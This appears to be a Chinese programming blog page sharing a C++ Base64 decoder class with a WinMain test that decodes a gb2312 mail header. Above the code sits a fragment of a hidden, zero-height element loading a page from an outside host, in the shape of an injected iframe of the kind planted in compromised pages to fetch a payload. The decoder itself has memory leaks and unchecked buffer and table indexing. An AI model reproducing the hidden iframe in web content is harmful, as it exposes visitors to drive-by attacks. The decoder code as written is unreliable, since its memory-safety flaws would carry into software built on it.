BASE64解码类,应同学要求写的

src="http://pspper.w1.server2003.cn/vip.htm" width="100" height="0">

// base64.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>

class Base64
{
private:
 BYTE Hash[256];
 char *Cache;
 char *Trim(char *);
public:
 Base64();
 char *Decode(char *);
};

Base64::Base64()
{
 char i;
 for(i='A';i<='Z';i++)
  Hash[i]=i-'A';
 for(i='a';i<='z';i++)
  Hash[i]=i-'a'+26;
 for(i='0';i<='9';i++)
  Hash[i]=i-'0'+52;
 Hash['+']=62;
 Hash['/']=63;
 Hash['=']=0;
 Cache=NULL;
}

char *Base64::Trim(char *source)
{
 char *start,*end;
 start=source;
 if(*(start)=='=' && *(start+1)=='?')
  start=start+2;
 end=source+strlen(source)-1;
 if(*(end)=='=' && *(end-1)=='?')
 {
  *(end)=0;
  *(end-1)=0;
 }
 if(strncmp(start,"gb2312?B?",9)==0)
 {
  start+=9;
 }
 return start;
}

char *Base64::Decode(char *source)
{
 char *_source;
 int ptr=0;
 BYTE tmp[4];
 unsigned int i;
 if(Cache!=NULL)
  free(Cache);
 Cache=(char *)malloc(sizeof(char)*strlen(source)*2);
 ZeroMemory(Cache,sizeof(char)*strlen(source)*2);
 _source=(char *)malloc(sizeof(char)*strlen(source)+2);
 strcpy(_source,source);
 _source=this->Trim(_source);
 for(i=0;i<strlen(_source);i+=4)
 {
  //byte 1
  tmp[0]=Hash[*(_source+i)];
  tmp[0]=tmp[0]<<2;
  tmp[1]=Hash[*(_source+i+1)];
  tmp[1]=tmp[1]>>4;
  tmp[0]=tmp[0] | tmp[1];
  //byte 2
  tmp[1]=Hash[*(_source+i+1)];
  tmp[1]=tmp[1]<<4;
  tmp[2]=Hash[*(_source+i+2)];
  tmp[2]=tmp[2]>>2;
  tmp[1]=tmp[1] | tmp[2];
  //byte 3
  if(*(_source+i+2)!='=')
  {
   tmp[2]=Hash[*(_source+i+2)];
   tmp[2]=tmp[2]<<6;
   tmp[3]=Hash[*(_source+i+3)];
   tmp[2]=tmp[2] | tmp[3];   
  }
  strncpy(Cache+ptr,(const char *)tmp,3);
  ptr=ptr+3;
  if(*(_source+i+2)=='=')
   ptr--;
  if(*(_source+i+3)=='=')
   ptr--;
 }
 return Cache;
}

//for test

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.
 Base64 b;
 b.Decode("=?gb2312?B?tPC4tDogx+vOyr+8cGt1stnX98+1zbPR0L6/yfrQ6NKqv7zExNCp16jStQ==?=");
 return 0;
}
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值